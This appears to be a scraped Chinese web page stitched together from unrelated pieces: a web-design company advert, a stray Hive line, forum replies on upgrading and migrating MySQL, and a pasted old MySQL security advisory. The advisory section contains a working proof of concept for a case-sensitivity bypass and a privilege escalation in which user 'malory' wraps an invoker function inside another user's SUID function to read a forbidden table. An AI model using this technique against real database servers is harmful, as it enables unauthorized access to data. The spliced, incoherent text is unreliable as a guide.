我們知道,mysql的不同版本,有可能會存在著一些差異,比如:
你所需要的網(wǎng)站建設服務,我們均能行業(yè)靠前的水平為你提供.標準是產(chǎn)品質(zhì)量的保證,主要從事網(wǎng)站建設、成都網(wǎng)站設計、企業(yè)網(wǎng)站建設、手機網(wǎng)站制作、網(wǎng)頁設計、成都品牌網(wǎng)站建設、網(wǎng)頁制作、做網(wǎng)站、建網(wǎng)站。成都創(chuàng)新互聯(lián)擁有實力堅強的技術研發(fā)團隊及素養(yǎng)的視覺設計專才。
hive中支持的數(shù)據(jù)轉換:
linux一次導入多個sql文件
那你就重新安裝需要的mysql版本。先把里面的庫,表全部備份出來,導出,安裝一個mysql操作界面軟件navicat,然后重新安裝一個對的版本,再把數(shù)據(jù)庫表重新導入
前天我剛回答了相似的問題你參考一下
1.導出4.0.23當前數(shù)據(jù)庫數(shù)據(jù),進行備份。
2.安裝4.1或5.1進行備份數(shù)據(jù)導入。
3.具體操作
linux中升級MySQL應采取的步驟:
1. 進行升級前你應先備份當前的MySQL安裝。
2. 下載最新linux版MySQL。
3. 升級MySQL前,必須停止服務器。
如果服務器安裝為服務,必須在命令提示符下在命令行中用命令停止服務:
4.當從以前至的4.0.23版本升級到4.1或5.1時,或從Zip文件安裝的MySQL升級到MySQL Installation Wizard(安裝幫助)安裝的MySQL時,你必須手動卸載前面安裝的MySQL服務。
如果你不想卸載已有的服務,MySQL Installation Wizard(安裝幫助)則不會正確安裝新的MySQL服務。
5. 如果你使用MySQL Installation Wizard(安裝幫助),請參考“使用MySQL安裝向導”的描述來啟動幫助。
6. 如果用Zip文件安裝MySQL,應提取文件。你可以覆蓋已有的MySQL安裝,建議覆蓋原有的安裝。
7. 重新啟動服務器。
1、創(chuàng)建數(shù)據(jù)庫
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、權限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建議:
廠商補?。篗ySQL AB
目前廠商已經(jīng)發(fā)布了升級補丁以修復這個安全問題,請到廠商的主頁下載。
理論上將,你只要把數(shù)據(jù)備份導入就可以了。
我的方法是:
用帝國備份王,把數(shù)據(jù)庫備份好。然后導入到新的數(shù)據(jù)庫。
用navicat8_mysql_cs-v8.0軟件,備份導入。
或者整個遷移,把date目錄下的數(shù)據(jù)庫整個移動到新的date下,記得只拷貝數(shù)據(jù)庫!
祝你成功!
到MYSQL官方下載一下同樣的版本就行了。
或者更簡單一點把服務器上的 mysql/ /bin 上的文件全部復制